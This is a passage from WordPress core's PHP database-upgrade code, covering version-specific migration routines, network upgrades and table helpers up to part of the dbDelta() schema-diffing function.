			AND LENGTH( `comment_content` ) >= {$allowed_length}
			AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )"
	);

	foreach ( $comments as $comment ) {
		wp_delete_comment( $comment->comment_ID, true );
	}
}

/**
 * Executes changes made in WordPress 4.3.1.
 *
 * @ignore
 * @since 4.3.1
 */
function upgrade_431() {
	// Fix incorrect cron entries for term splitting.
	$cron_array = _get_cron_array();
	if ( isset( $cron_array['wp_batch_split_terms'] ) ) {
		unset( $cron_array['wp_batch_split_terms'] );
		_set_cron_array( $cron_array );
	}
}

/**
 * Executes changes made in WordPress 4.4.0.
 *
 * @ignore
 * @since 4.4.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_440() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 34030 ) {
		$wpdb->query( "ALTER TABLE {$wpdb->options} MODIFY option_name VARCHAR(191)" );
	}

	// Remove the unused 'add_users' role.
	$roles = wp_roles();
	foreach ( $roles->role_objects as $role ) {
		if ( $role->has_cap( 'add_users' ) ) {
			$role->remove_cap( 'add_users' );
		}
	}
}

/**
 * Executes changes made in WordPress 4.5.0.
 *
 * @ignore
 * @since 4.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_450() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 36180 ) {
		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
	}

	// Remove unused email confirmation options, moved to usermeta.
	if ( $wp_current_db_version < 36679 && is_multisite() ) {
		$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^[0-9]+_new_email$'" );
	}

	// Remove unused user setting for wpLink.
	delete_user_setting( 'wplink' );
}

/**
 * Executes changes made in WordPress 4.6.0.
 *
 * @ignore
 * @since 4.6.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_460() {
	global $wp_current_db_version;

	// Remove unused post meta.
	if ( $wp_current_db_version < 37854 ) {
		delete_post_meta_by_key( '_post_restored_from' );
	}

	// Remove plugins with callback as an array object/method as the uninstall hook, see #13786.
	if ( $wp_current_db_version < 37965 ) {
		$uninstall_plugins = get_option( 'uninstall_plugins', array() );

		if ( ! empty( $uninstall_plugins ) ) {
			foreach ( $uninstall_plugins as $basename => $callback ) {
				if ( is_array( $callback ) && is_object( $callback[0] ) ) {
					unset( $uninstall_plugins[ $basename ] );
				}
			}

			update_option( 'uninstall_plugins', $uninstall_plugins );
		}
	}
}

/**
 * Executes changes made in WordPress 5.0.0.
 *
 * @ignore
 * @since 5.0.0
 * @deprecated 5.1.0
 */
function upgrade_500() {
}

/**
 * Executes changes made in WordPress 5.1.0.
 *
 * @ignore
 * @since 5.1.0
 */
function upgrade_510() {
	delete_site_option( 'upgrade_500_was_gutenberg_active' );
}

/**
 * Executes changes made in WordPress 5.3.0.
 *
 * @ignore
 * @since 5.3.0
 */
function upgrade_530() {
	/*
	 * The `admin_email_lifespan` option may have been set by an admin that just logged in,
	 * saw the verification screen, clicked on a button there, and is now upgrading the db,
	 * or by populate_options() that is called earlier in upgrade_all().
	 * In the second case `admin_email_lifespan` should be reset so the verification screen
	 * is shown next time an admin logs in.
	 */
	if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) {
		update_option( 'admin_email_lifespan', 0 );
	}
}

/**
 * Executes changes made in WordPress 5.5.0.
 *
 * @ignore
 * @since 5.5.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_550() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 48121 ) {
		$comment_previously_approved = get_option( 'comment_whitelist', '' );
		update_option( 'comment_previously_approved', $comment_previously_approved );
		delete_option( 'comment_whitelist' );
	}

	if ( $wp_current_db_version < 48575 ) {
		// Use more clear and inclusive language.
		$disallowed_list = get_option( 'blacklist_keys' );

		/*
		 * This option key was briefly renamed `blocklist_keys`.
		 * Account for sites that have this key present when the original key does not exist.
		 */
		if ( false === $disallowed_list ) {
			$disallowed_list = get_option( 'blocklist_keys' );
		}

		update_option( 'disallowed_keys', $disallowed_list );
		delete_option( 'blacklist_keys' );
		delete_option( 'blocklist_keys' );
	}

	if ( $wp_current_db_version < 48748 ) {
		update_option( 'finished_updating_comment_type', 0 );
		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );
	}
}

/**
 * Executes changes made in WordPress 5.6.0.
 *
 * @ignore
 * @since 5.6.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_560() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 49572 ) {
		/*
		 * Clean up the `post_category` column removed from schema in version 2.8.0.
		 * Its presence may conflict with `WP_Post::__get()`.
		 */
		$post_category_exists = $wpdb->get_var( "SHOW COLUMNS FROM $wpdb->posts LIKE 'post_category'" );
		if ( ! is_null( $post_category_exists ) ) {
			$wpdb->query( "ALTER TABLE $wpdb->posts DROP COLUMN `post_category`" );
		}

		/*
		 * When upgrading from WP < 5.6.0 set the core major auto-updates option to `unset` by default.
		 * This overrides the same option from populate_options() that is intended for new installs.
		 * See https://core.trac.wordpress.org/ticket/51742.
		 */
		update_option( 'auto_update_core_major', 'unset' );
	}

	if ( $wp_current_db_version < 49632 ) {
		/*
		 * Regenerate the .htaccess file to add the `HTTP_AUTHORIZATION` rewrite rule.
		 * See https://core.trac.wordpress.org/ticket/51723.
		 */
		save_mod_rewrite_rules();
	}

	if ( $wp_current_db_version < 49735 ) {
		delete_transient( 'dirsize_cache' );
	}

	if ( $wp_current_db_version < 49752 ) {
		$results = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT 1 FROM {$wpdb->usermeta} WHERE meta_key = %s LIMIT 1",
				WP_Application_Passwords::USERMETA_KEY_APPLICATION_PASSWORDS
			)
		);

		if ( ! empty( $results ) ) {
			$network_id = get_main_network_id();
			update_network_option( $network_id, WP_Application_Passwords::OPTION_KEY_IN_USE, 1 );
		}
	}
}

/**
 * Executes changes made in WordPress 5.9.0.
 *
 * @ignore
 * @since 5.9.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_590() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 51917 ) {
		$crons = _get_cron_array();

		if ( $crons && is_array( $crons ) ) {
			// Remove errant `false` values, see #53950, #54906.
			$crons = array_filter( $crons );
			_set_cron_array( $crons );
		}
	}
}

/**
 * Executes changes made in WordPress 6.0.0.
 *
 * @ignore
 * @since 6.0.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_600() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 53011 ) {
		wp_update_user_counts();
	}
}

/**
 * Executes changes made in WordPress 6.3.0.
 *
 * @ignore
 * @since 6.3.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_630() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 55853 ) {
		if ( ! is_multisite() ) {
			// Replace non-autoload option can_compress_scripts with autoload option, see #55270
			$can_compress_scripts = get_option( 'can_compress_scripts', false );
			if ( false !== $can_compress_scripts ) {
				delete_option( 'can_compress_scripts' );
				add_option( 'can_compress_scripts', $can_compress_scripts, '', 'yes' );
			}
		}
	}
}

/**
 * Executes changes made in WordPress 6.4.0.
 *
 * @ignore
 * @since 6.4.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_640() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 56657 ) {
		// Enable attachment pages.
		update_option( 'wp_attachment_pages_enabled', 1 );

		// Remove the wp_https_detection cron. Https status is checked directly in an async Site Health check.
		$scheduled = wp_get_scheduled_event( 'wp_https_detection' );
		if ( $scheduled ) {
			wp_clear_scheduled_hook( 'wp_https_detection' );
		}
	}
}

/**
 * Executes network-level upgrade routines.
 *
 * @since 3.0.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_network() {
	global $wp_current_db_version, $wpdb;

	// Always clear expired transients.
	delete_expired_transients( true );

	// 2.8.0
	if ( $wp_current_db_version < 11549 ) {
		$wpmu_sitewide_plugins   = get_site_option( 'wpmu_sitewide_plugins' );
		$active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' );
		if ( $wpmu_sitewide_plugins ) {
			if ( ! $active_sitewide_plugins ) {
				$sitewide_plugins = (array) $wpmu_sitewide_plugins;
			} else {
				$sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins );
			}

			update_site_option( 'active_sitewide_plugins', $sitewide_plugins );
		}
		delete_site_option( 'wpmu_sitewide_plugins' );
		delete_site_option( 'deactivated_sitewide_plugins' );

		$start = 0;
		while ( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) {
			foreach ( $rows as $row ) {
				$value = $row->meta_value;
				if ( ! @unserialize( $value ) ) {
					$value = stripslashes( $value );
				}
				if ( $value !== $row->meta_value ) {
					update_site_option( $row->meta_key, $value );
				}
			}
			$start += 20;
		}
	}

	// 3.0.0
	if ( $wp_current_db_version < 13576 ) {
		update_site_option( 'global_terms_enabled', '1' );
	}

	// 3.3.0
	if ( $wp_current_db_version < 19390 ) {
		update_site_option( 'initial_db_version', $wp_current_db_version );
	}

	if ( $wp_current_db_version < 19470 ) {
		if ( false === get_site_option( 'active_sitewide_plugins' ) ) {
			update_site_option( 'active_sitewide_plugins', array() );
		}
	}

	// 3.4.0
	if ( $wp_current_db_version < 20148 ) {
		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
		$allowedthemes  = get_site_option( 'allowedthemes' );
		$allowed_themes = get_site_option( 'allowed_themes' );
		if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) {
			$converted = array();
			$themes    = wp_get_themes();
			foreach ( $themes as $stylesheet => $theme_data ) {
				if ( isset( $allowed_themes[ $theme_data->get( 'Name' ) ] ) ) {
					$converted[ $stylesheet ] = true;
				}
			}
			update_site_option( 'allowedthemes', $converted );
			delete_site_option( 'allowed_themes' );
		}
	}

	// 3.5.0
	if ( $wp_current_db_version < 21823 ) {
		update_site_option( 'ms_files_rewriting', '1' );
	}

	// 3.5.2
	if ( $wp_current_db_version < 24448 ) {
		$illegal_names = get_site_option( 'illegal_names' );
		if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) {
			$illegal_name  = reset( $illegal_names );
			$illegal_names = explode( ' ', $illegal_name );
			update_site_option( 'illegal_names', $illegal_names );
		}
	}

	// 4.2.0
	if ( $wp_current_db_version < 31351 && 'utf8mb4' === $wpdb->charset ) {
		if ( wp_should_upgrade_global_tables() ) {
			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			$wpdb->query( "ALTER TABLE $wpdb->site DROP INDEX domain, ADD INDEX domain(domain(140),path(51))" );
			$wpdb->query( "ALTER TABLE $wpdb->sitemeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );

			$tables = $wpdb->tables( 'global' );

			// sitecategories may not exist.
			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
				unset( $tables['sitecategories'] );
			}

			foreach ( $tables as $table ) {
				maybe_convert_table_to_utf8mb4( $table );
			}
		}
	}

	// 4.3.0
	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
		if ( wp_should_upgrade_global_tables() ) {
			$upgrade = false;
			$indexes = $wpdb->get_results( "SHOW INDEXES FROM $wpdb->signups" );
			foreach ( $indexes as $index ) {
				if ( 'domain_path' === $index->Key_name && 'domain' === $index->Column_name && 140 != $index->Sub_part ) {
					$upgrade = true;
					break;
				}
			}

			if ( $upgrade ) {
				$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
			}

			$tables = $wpdb->tables( 'global' );

			// sitecategories may not exist.
			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
				unset( $tables['sitecategories'] );
			}

			foreach ( $tables as $table ) {
				maybe_convert_table_to_utf8mb4( $table );
			}
		}
	}

	// 5.1.0
	if ( $wp_current_db_version < 44467 ) {
		$network_id = get_main_network_id();
		delete_network_option( $network_id, 'site_meta_supported' );
		is_site_meta_supported();
	}
}

//
// General functions we use to actually do stuff.
//

/**
 * Creates a table in the database, if it doesn't already exist.
 *
 * This method checks for an existing database table and creates a new one if it's not
 * already present. It doesn't rely on MySQL's "IF NOT EXISTS" statement, but chooses
 * to query all tables first and then run the SQL statement creating the table.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name Database table name.
 * @param string $create_ddl SQL statement to create table.
 * @return bool True on success or if the table already exists. False on failure.
 */
function maybe_create_table( $table_name, $create_ddl ) {
	global $wpdb;

	$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );

	if ( $wpdb->get_var( $query ) === $table_name ) {
		return true;
	}

	// Didn't find it, so try to create it.
	$wpdb->query( $create_ddl );

	// We cannot directly tell that whether this succeeded!
	if ( $wpdb->get_var( $query ) === $table_name ) {
		return true;
	}

	return false;
}

/**
 * Drops a specified index from a table.
 *
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table Database table name.
 * @param string $index Index name to drop.
 * @return true True, when finished.
 */
function drop_index( $table, $index ) {
	global $wpdb;

	$wpdb->hide_errors();

	$wpdb->query( "ALTER TABLE `$table` DROP INDEX `$index`" );

	// Now we need to take out all the extra ones we may have created.
	for ( $i = 0; $i < 25; $i++ ) {
		$wpdb->query( "ALTER TABLE `$table` DROP INDEX `{$index}_$i`" );
	}

	$wpdb->show_errors();

	return true;
}

/**
 * Adds an index to a specified table.
 *
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table Database table name.
 * @param string $index Database table index column.
 * @return true True, when done with execution.
 */
function add_clean_index( $table, $index ) {
	global $wpdb;

	drop_index( $table, $index );
	$wpdb->query( "ALTER TABLE `$table` ADD INDEX ( `$index` )" );

	return true;
}

/**
 * Adds column to a database table, if it doesn't already exist.
 *
 * @since 1.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $create_ddl  SQL statement to add column.
 * @return bool True on success or if the column already exists. False on failure.
 */
function maybe_add_column( $table_name, $column_name, $create_ddl ) {
	global $wpdb;

	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {
			return true;
		}
	}

	// Didn't find it, so try to create it.
	$wpdb->query( $create_ddl );

	// We cannot directly tell that whether this succeeded!
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {
			return true;
		}
	}

	return false;
}

/**
 * If a table only contains utf8 or utf8mb4 columns, convert it to utf8mb4.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table The table to convert.
 * @return bool True if the table was converted, false if it wasn't.
 */
function maybe_convert_table_to_utf8mb4( $table ) {
	global $wpdb;

	$results = $wpdb->get_results( "SHOW FULL COLUMNS FROM `$table`" );
	if ( ! $results ) {
		return false;
	}

	foreach ( $results as $column ) {
		if ( $column->Collation ) {
			list( $charset ) = explode( '_', $column->Collation );
			$charset         = strtolower( $charset );
			if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
				// Don't upgrade tables that have non-utf8 columns.
				return false;
			}
		}
	}

	$table_details = $wpdb->get_row( "SHOW TABLE STATUS LIKE '$table'" );
	if ( ! $table_details ) {
		return false;
	}

	list( $table_charset ) = explode( '_', $table_details->Collation );
	$table_charset         = strtolower( $table_charset );
	if ( 'utf8mb4' === $table_charset ) {
		return true;
	}

	return $wpdb->query( "ALTER TABLE $table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci" );
}

/**
 * Retrieve all options as it was for 1.2.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return stdClass List of options.
 */
function get_alloptions_110() {
	global $wpdb;
	$all_options = new stdClass();
	$options     = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
	if ( $options ) {
		foreach ( $options as $option ) {
			if ( 'siteurl' === $option->option_name || 'home' === $option->option_name || 'category_base' === $option->option_name ) {
				$option->option_value = untrailingslashit( $option->option_value );
			}
			$all_options->{$option->option_name} = stripslashes( $option->option_value );
		}
	}
	return $all_options;
}

/**
 * Utility version of get_option that is private to installation/upgrade.
 *
 * @ignore
 * @since 1.5.1
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $setting Option name.
 * @return mixed
 */
function __get_option( $setting ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
	global $wpdb;

	if ( 'home' === $setting && defined( 'WP_HOME' ) ) {
		return untrailingslashit( WP_HOME );
	}

	if ( 'siteurl' === $setting && defined( 'WP_SITEURL' ) ) {
		return untrailingslashit( WP_SITEURL );
	}

	$option = $wpdb->get_var( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) );

	if ( 'home' === $setting && ! $option ) {
		return __get_option( 'siteurl' );
	}

	if ( in_array( $setting, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
		$option = untrailingslashit( $option );
	}

	return maybe_unserialize( $option );
}

/**
 * Filters for content to remove unnecessary slashes.
 *
 * @since 1.5.0
 *
 * @param string $content The content to modify.
 * @return string The de-slashed content.
 */
function deslash( $content ) {
	// Note: \\\ inside a regex denotes a single backslash.

	/*
	 * Replace one or more backslashes followed by a single quote with
	 * a single quote.
	 */
	$content = preg_replace( "/\\\+'/", "'", $content );

	/*
	 * Replace one or more backslashes followed by a double quote with
	 * a double quote.
	 */
	$content = preg_replace( '/\\\+"/', '"', $content );

	// Replace one or more backslashes with one backslash.
	$content = preg_replace( '/\\\+/', '\\', $content );

	return $content;
}

/**
 * Modifies the database based on specified SQL statements.
 *
 * Useful for creating new tables and updating existing tables to a new structure.
 *
 * @since 1.5.0
 * @since 6.1.0 Ignores display width for integer data types on MySQL 8.0.17 or later,
 *              to match MySQL behavior. Note: This does not affect MariaDB.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string[]|string $queries Optional. The query to run. Can be multiple queries
 *                                 in an array, or a string of queries separated by
 *                                 semicolons. Default empty string.
 * @param bool            $execute Optional. Whether or not to execute the query right away.
 *                                 Default true.
 * @return array Strings containing the results of the various update queries.
 */
function dbDelta( $queries = '', $execute = true ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $wpdb;

	if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) ) {
		$queries = wp_get_db_schema( $queries );
	}

	// Separate individual queries into an array.
	if ( ! is_array( $queries ) ) {
		$queries = explode( ';', $queries );
		$queries = array_filter( $queries );
	}

	/**
	 * Filters the dbDelta SQL queries.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $queries An array of dbDelta SQL queries.
	 */
	$queries = apply_filters( 'dbdelta_queries', $queries );

	$cqueries   = array(); // Creation queries.
	$iqueries   = array(); // Insertion queries.
	$for_update = array();

	// Create a tablename index for an array ($cqueries) of recognized query types.
	foreach ( $queries as $qry ) {
		if ( preg_match( '|CREATE TABLE ([^ ]*)|', $qry, $matches ) ) {
			$cqueries[ trim( $matches[1], '`' ) ] = $qry;
			$for_update[ $matches[1] ]            = 'Created table ' . $matches[1];
			continue;
		}

		if ( preg_match( '|CREATE DATABASE ([^ ]*)|', $qry, $matches ) ) {
			array_unshift( $cqueries, $qry );
			continue;
		}

		if ( preg_match( '|INSERT INTO ([^ ]*)|', $qry, $matches ) ) {
			$iqueries[] = $qry;
			continue;
		}

		if ( preg_match( '|UPDATE ([^ ]*)|', $qry, $matches ) ) {
			$iqueries[] = $qry;
			continue;
		}
	}

	/**
	 * Filters the dbDelta SQL queries for creating tables and/or databases.
	 *
	 * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $cqueries An array of dbDelta create SQL queries.
	 */
	$cqueries = apply_filters( 'dbdelta_create_queries', $cqueries );

	/**
	 * Filters the dbDelta SQL queries for inserting or updating.
	 *
	 * Queries filterable via this hook contain "INSERT INTO" or "UPDATE".
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $iqueries An array of dbDelta insert or update SQL queries.
	 */
	$iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries );

	$text_fields = array( 'tinytext', 'text', 'mediumtext', 'longtext' );
	$blob_fields = array( 'tinyblob', 'blob', 'mediumblob', 'longblob' );
	$int_fields  = array( 'tinyint', 'smallint', 'mediumint', 'int', 'integer', 'bigint' );

	$global_tables  = $wpdb->tables( 'global' );
	$db_version     = $wpdb->db_version();
	$db_server_info = $wpdb->db_server_info();

	foreach ( $cqueries as $table => $qry ) {
		// Upgrade global tables only for the main site. Don't upgrade at all if conditions are not optimal.
		if ( in_array( $table, $global_tables, true ) && ! wp_should_upgrade_global_tables() ) {
			unset( $cqueries[ $table ], $for_update[ $table ] );
			continue;
		}

		// Fetch the table column structure from the database.
		$suppress    = $wpdb->suppress_errors();
		$tablefields = $wpdb->get_results( "DESCRIBE {$table};" );
		$wpdb->suppress_errors( $suppress );

		if ( ! $tablefields ) {
			continue;
		}

		// Clear the field and index arrays.
		$cfields                  = array();
		$indices                  = array();
		$indices_without_subparts = array();

		// Get all of the field names in the query from between the parentheses.
		preg_match( '|\((.*)\)|ms', $qry, $match2 );
		$qryline = trim( $match2[1] );

		// Separate field lines into an array.
		$flds = explode( "\n", $qryline );

		// For every field line specified in the query.
		foreach ( $flds as $fld ) {
			$fld = trim( $fld, " \t\n\r\0\x0B," ); // Default trim characters, plus ','.

			// Extract the field name.
			preg_match( '|^([^ ]*)|', $fld, $fvals );
			$fieldname            = trim( $fvals[1], '`' );
			$fieldname_lowercased = strtolower( $fieldname );

			// Verify the found field name.
			$validfield = true;
			switch ( $fieldname_lowercased ) {
				case '':
				case 'primary':
				case 'index':
				case 'fulltext':
				case 'unique':
				case 'key':
				case 'spatial':
					$validfield = false;

					/*
					 * Normalize the index definition.
					 *
					 * This is done so the definition can be compared against the result of a
					 * `SHOW INDEX FROM $table_name` query which returns the current table
					 * index information.
					 */

					// Extract type, name and columns from the definition.
					// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
					preg_match(
						'/^'
						.   '(?P<index_type>'             // 1) Type of the index.
						.       'PRIMARY\s+KEY|(?:UNIQUE|FULLTEXT|SPATIAL)\s+(?:KEY|INDEX)|KEY|INDEX'
						.   ')'
						.   '\s+'                         // Followed by at least one white space character.
						.   '(?:'                         // Name of the index. Optional if type is PRIMARY KEY.
						.       '`?'                      // Name can be escaped with a backtick.
						.           '(?P<index_name>'     // 2) Name of the index.
						.               '(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+'
						.           ')'
						.       '`?'                      // Name can be escaped with a backtick.
						.       '\s+'                     // Followed by at least one white space character.
						.   ')*'
						.   '\('                          // Opening bracket for the columns.
						.       '(?P<index_columns>'
						.           '.+?'                 // 3) Column names, index prefixes, and orders.
						.       ')'
						.   '\)'                          // Closing bracket for the columns.
						. '$/im',
						$fld,
						$index_matches
					);
					// phpcs:enable

					// Uppercase the index type and normalize space characters.
					$index_type = strtoupper( preg_replace( '/\s+/', ' ', trim( $index_matches['index_type'] ) ) );

					// 'INDEX' is a synonym for 'KEY', standardize on 'KEY'.
					$index_type = str_replace( 'INDEX', 'KEY', $index_type );

					// Escape the index name with backticks. An index for a primary key has no name.
					$index_name = ( 'PRIMARY KEY' === $index_type ) ? '' : '`' . strtolower( $index_matches['index_name'] ) . '`';

					// Parse the columns. Multiple columns are separated by a comma.
					$index_columns                  = array_map( 'trim', explode( ',', $index_matches['index_columns'] ) );
					$index_columns_without_subparts = $index_columns;

					// Normalize columns.
					foreach ( $index_columns as $id => &$index_column ) {
						// Extract column name and number of indexed characters (sub_part).
						// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
						preg_match(
							'/'
							.   '`?'                      // Name can be escaped with a backtick.
							.       '(?P<column_name>'    // 1) Name of the column.
							.           '(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+'
							.       ')'
							.   '`?'                      // Name can be escaped with a backtick.
							.   '(?:'                     // Optional sub part.
							.       '\s*'                 // Optional white space character between name and opening bracket.
							.       '\('                  // Opening bracket for the sub part.
							.           '\s*'             // Optional white space character after opening bracket.
							.           '(?P<sub_part>'
							.               '\d+'         // 2) Number of indexed characters.
							.           ')'
							.           '\s*'             // Optional white space character before closing bracket.
							.       '\)'                  // Closing bracket for the sub part.
							.   ')?'
							. '/',
							$index_column,
							$index_column_matches
						);
						// phpcs:enable

						// Escape the column name with backticks.
						$index_column = '`' . $index_column_matches['column_name'] . '`';

						// We don't need to add the subpart to $index_columns_without_subparts
						$index_columns_without_subparts[ $id ] = $index_column;

						// Append the optional sup part with the number of indexed characters.
						if ( isset( $index_column_matches['sub_part'] ) ) {
							$index_column .= '(' . $index_column_matches['sub_part'] . ')';
						}
					}

					// Build the normalized index definition and add it to the list of indices.
					$indices[]                  = "{$index_type} {$index_name} (" . implode( ',', $index_columns ) . ')';
					$indices_without_subparts[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns_without_subparts ) . ')';

					// Destroy no longer needed variables.
					unset( $index_column, $index_column_matches, $index_matches, $index_type, $index_name, $index_columns, $index_columns_without_subparts );

					break;
			}

			// If it's a valid field, add it to the field array.
			if ( $validfield ) {
				$cfields[ $fieldname_lowercased ] = $fld;
			}
		}

		// For every field in the table.
		foreach ( $tablefields as $tablefield ) {
			$tablefield_field_lowercased = strtolower( $tablefield->Field );
			$tablefield_type_lowercased  = strtolower( $tablefield->Type );

			$tablefield_type_without_parentheses = preg_replace(
				'/'
				. '(.+)'       // Field type, e.g. `int`.
				. '\(\d*\)'    // Display width.
				. '(.*)'       // Optional attributes, e.g. `unsigned`.
				. '/',
				'$1$2',
				$tablefield_type_lowercased
			);

			// Get the type without attributes, e.g. `int`.
			$tablefield_type_base = strtok( $tablefield_type_without_parentheses, ' ' );

			// If the table field exists in the field array...
			if ( array_key_exists( $tablefield_field_lowercased, $cfields ) ) {

				// Get the field type from the query.
				preg_match( '|`?' . $tablefield->Field . '`? ([^ ]*( unsigned)?)|i', $cfields[ $tablefield_field_lowercased ], $matches );
				$fieldtype            = $matches[1];
				$fieldtype_lowercased = strtolower( $fieldtype );

				$fieldtype_without_parentheses = preg_replace(
					'/'
					. '(.+)'       // Field type, e.g. `int`.
					. '\(\d*\)'    // Display width.
					. '(.*)'       // Optional attributes, e.g. `unsigned`.
					. '/',
					'$1$2',
					$fieldtype_lowercased
				);

				// Get the type without attributes, e.g. `int`.
				$fieldtype_base = strtok( $fieldtype_without_parentheses, ' ' );

				// Is actual field type different from the field type in query?
				if ( $tablefield->Type != $fieldtype ) {
					$do_change = true;
					if ( in_array( $fieldtype_lowercased, $text_fields, true ) && in_array( $tablefield_type_lowercased, $text_fields, true ) ) {
						if ( array_search( $fieldtype_lowercased, $text_fields, true ) < array_search( $tablefield_type_lowercased, $text_fields, true ) ) {
							$do_change = false;
						}
					}

					if ( in_array( $fieldtype_lowercased, $blob_fields, true ) && in_array( $tablefield_type_lowercased, $blob_fields, true ) ) {
						if ( array_search( $fieldtype_lowercased, $blob_fields, true ) < array_search( $tablefield_type_lowercased, $blob_fields, true ) ) {
							$do_change = false;
						}
					}

					if ( in_array( $fieldtype_base, $int_fields, true ) && in_array( $tablefield_type_base, $int_fields, true )
						&& $fieldtype_without_parentheses === $tablefield_type_without_parentheses
					) {
						/*
						 * MySQL 8.0.17 or later does not support display width for integer data types,
						 * so if display width is the only difference, it can be safely ignored.
						 * Note: This is specific to MySQL and does not affect MariaDB.
						 */
						if ( version_compare( $db_version, '8.0.17', '>=' )
							&& ! str_contains( $db_server_info, 'MariaDB' )
						) {
							$do_change = false;
						}
					}

					if ( $do_change ) {
						// Add a query to change the column type.
						$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN `{$tablefield->Field}` " . $cfields[ $tablefield_field_lowercased ];

						$for_update[ $table . '.' . $tablefield->Field ] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
					}
				}

				// Get the default value from the array.
				if ( preg_match( "| DEFAULT '(.*?)'|i", $cfields[ $tablefield_field_lowercased ], $matches ) ) {
					$default_value = $matches[1];
					if ( $tablefield->Default != $default_value ) {
						// Add a query to change the column's default value
						$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN `{$tablefield->Field}` SET DEFAULT '{$default_value}'";

						$for_update[ $table . '.' . $tablefield->Field ] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
					}
				}

				// Remove the field from the array (so it's not added).
				unset( $cfields[ $tablefield_field_lowercased ] );
			} else {
				// This field exists in the table, but not in the creation queries?
			}
